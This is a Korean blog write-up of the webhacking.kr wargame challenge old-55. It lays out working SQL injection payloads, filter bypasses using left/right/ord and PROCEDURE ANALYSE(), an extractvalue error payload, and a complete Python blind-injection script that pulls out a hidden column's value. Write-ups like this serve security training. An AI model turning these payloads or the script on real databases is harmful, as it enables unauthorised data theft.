본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-55

Write-Up

 

그림 1

 

문제에 접근하면 초록 몬스터가 등장하며, 마우스에 따라 움직인다. 해당 게임이 Game Over 가 되면 alert()가 발생하고, form 데이터가 전송이 되는 것을 볼 수 있는데, 나의 score 값이 POST request 되는 것을 볼 수 있다. ( 아래와 같이 Game Over가 되도록 js 코드를 조작하였다. )

 

if(1) {alert('GAME OVER'); sfrm.submit(); }

 

그림 2

 

rank.php에 접속해 보자! 여기서는 score에 따른 ranking 점수를 볼 수 있다. 위 그림 2에서 score에 점수를 넣어 전송하면 rank DB에 반영이 된다. 그 이유는 아래 mysql_query에서 확인할 수 있다. ( 내가 입력 한 score=33을 rank page에서 요청할 때, 다른 사용자 id가 나타날 수도 있는데, 다른 사용자 값이 DB상 위에 위치해있기 때문에 그렇다. )

 

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

 

그림 3

 

 

첫번째 시도

 

score 파라미터에서 SQLi이 일어날 것 같았다. 

 

/challenge/web-31/rank.php?score=37/**/--+1

/challenge/web-31/rank.php?score=37+AND+1%3D2--+

 

위 두 쿼리로 SQLi의 가능성을 확인했다. 

 

다음으로는 Order by 절로 컬럼의 갯수를 파악하고자 하였다. 

 

/challenge/web-31/rank.php?score=37/**/order/**/by/**/3--+

 

union select를 시도하고 싶었으나, select 구문이 필터링 됨을 확인했다. '(싱글), "(더블) 쿼터 또한 필터링 된다. CHAR(0x73,0x65,0x6C,0x65,0x63,0x74) 와 같은 함수로 select를 우회하려 했으나 실패했다. ( 테스트를 해보았는데 CHAR(0x73,0x65,0x6C,0x65,0x63,0x74) 1; 과 같은 쿼리는 동작하지 않았다... SQL 구문으로써 역할을 하지 못해 구문 오류가 발생한다. )

 

37+and+substr(123,1,1) = 1%23

 

위와 같은 payload를 시도했으나, substr 과 mid, substring 모두 필터링 되었다. 그래서 right와 left를 이용해본다. 

 

?score=1+and+if(ord(right(left(id,1),1))=80,1,0)--+  :    Piterpan

 

위 paylaod는 필터링 되지 않으며, 참 거짓에 따른 다른 반응을 볼 수 있었다. 하지만 이 이후로는 의미있는 공격시도를 하지 못했다. 

 

?score=37+or+if(ord(right(left(flag,1),1))=121,1,0)--+

if((count(column_name) from information_schema.columns where table_name like 0x6368616c6c3535)=3,1,0)--+

 

위와 같이 동작되지 않는 의미없는 쿼리를 적어보는 등... 답이 보이지 않았다. 

 

두번째 시도

 

procedure analyse() 함수가 limit 절 뒤에서 사용이 가능하며, DB명, 테이블명, 컬럼명 획득이 가능하다라는 것을 알게 되었다. 

 

?score=12+limit+0,1+procedure+analyse()--+ 의 결과 : webhacking.chall55.id //

?score=12+limit+1,1+procedure+analyse()--+ 의 결과 : webhacking.chall55.score //

?score=12+limit+2,1+procedure+analyse()--+ 의 결과 : webhacking.chall55.p4ssw0rd_1123581321 //

?score=12+limit+3,1+procedure+analyse()--+ 은 결과 없음.

 

그래서 위와 같이 procedure analyse() 함수를 사용해보았다.  위의 결과를 보니, DB명.테이블명.컬럼 명 인 것 같다. 

 

아까 위에서 아래와 같이 mysql_query가 DB에 insert into 처리 되는 것을 보았다. 

 

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

 

그러므로 p4ssw0rd_1123581321에는 flag가 담겨있을 확률이 높다. 

 

먼저 해당 컬럼 값의 length 를 아래와 같이 파악한다. 

 

?score=1+AND+length(p4ssw0rd_1123581321)%3D31--+ :   id : Piterpan // 1 ( 참 반응 )

 

flag로 추정되는 값의 길이를 파악했으니, 아래와 같은 파이썬 코드를 활용해 그 값을 구해본다. 

 

import requests
import string

url="https://webhacking.kr/challenge/web-31/rank.php?score=1 AND "
# https://webhacking.kr/challenge/web-31/rank.php?score=1 AND length(p4ssw0rd_1123581321)%3D31--+
cookies ={'PHPSESSID':"nfng1nc2me7chlibi4tnq9qedq"}

result=""

for i in range(1,32):
    for j in range(32,127):
        param="if(ord(right(left(p4ssw0rd_1123581321,"+str(i)+"),1))="+str(j)+",1,0)--+"#+str(j)+",(select 1 union select 2),1)%23"
        
        URL = url+param
        print(URL)
        response = requests.get(URL, cookies=cookies)
        # print(response.text)
        if "Piterpan" in response.text:
            result += chr(j)
            print(result)
            break
print("pw: "+result)

 

위 코드로 flag를 구할 수 있었다. 

 

 



실습

 

select * from members procedure analyse(); 의 결과는 아래와 같다. ( Union , Select 필터링 시 유용할 듯 싶다 )

 

Field_name	Min_value	Max_value	Min_length	Max_length	Empties_or_zeros	Nulls	Avg_value_or_avg_length	Std	Optimal_fieldtype
pentest.members.idx	1	5	1	1	0	0	3.0000	1.4142	ENUM('1','2','3','4','5') NOT NULL
pentest.members.id	guest	test	4	6	0	0	5.0000	NULL	ENUM('guest','hacker','uuni','LOSSQL','test') NOT NULL
pentest.members.password	084e0343a0486ff05530df6c705c8bb4	우왕굳	9	32	0	0	27.4000	NULL	ENUM('084e0343a0486ff05530df6c705c8bb4','098f6bcd4621d373cade4e832627b4f6','d6a6bc0db10694a2d90e3a69648f3a03','e10adc3949ba59abbe56e057f20f883e','?곗솗援?) NOT NULL
pentest.members.name	Tester	해커	6	9	0	0	7.8000	NULL	ENUM('Tester','寃뚯뒪??,'愿由ъ옄','?꾨Т媛?,'?댁빱') NOT NULL
pentest.members.email	123@gm.com	test@test.com	10	21	0	0	14.8000	NULL	ENUM('123@gm.com','example@a.com','hacker@hacker.com','new_email@example.com','test@test.com') NOT NULL
pentest.members.company	(주)uuni	WhiteHat_School	9	15	0	0	11.6000	NULL	ENUM('(二?uuni','hackercompany','HI.company','TestCompany','WhiteHat_School') NOT NULL

 

그림 4 ( 결과 중 일부 )

 

위에서 procedure analyse()  명령 사용 후, webhacking.chall55.p4ssw0rd_1123581321 값을 추출해냈다. DB명(pentest).테이블명(members).컬럼명(idx) 형태가 일치한 것을 볼 수 있다. ( 블로그 게시 글에는 좀 답답하게 보이는 데, ChatGPT에게 이쁘게 정리해달라고 하면 잘 정리해줍니다!!;;; )

 

 

응용.. ( extractvalue() 사용 )

MariaDB [pentest]> select * from members limit 1,1 procedure analyse(extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':10.4.24-MariaDB'

 

 

문자열 일부 가져오기 함수 ( left, right )에 대한 실습은 아래 그림 5와 같다. 

 

그림 5

 

LEFT(문자, 가져올 갯수); :  문자에 왼쪽을 기준으로 일정 갯수를 가져오는 함수이다.

RIGHT(문자, 가져올 갯수); :  문자에 오른쪽을 기준으로 일정 갯수를 가져오는 함수이다.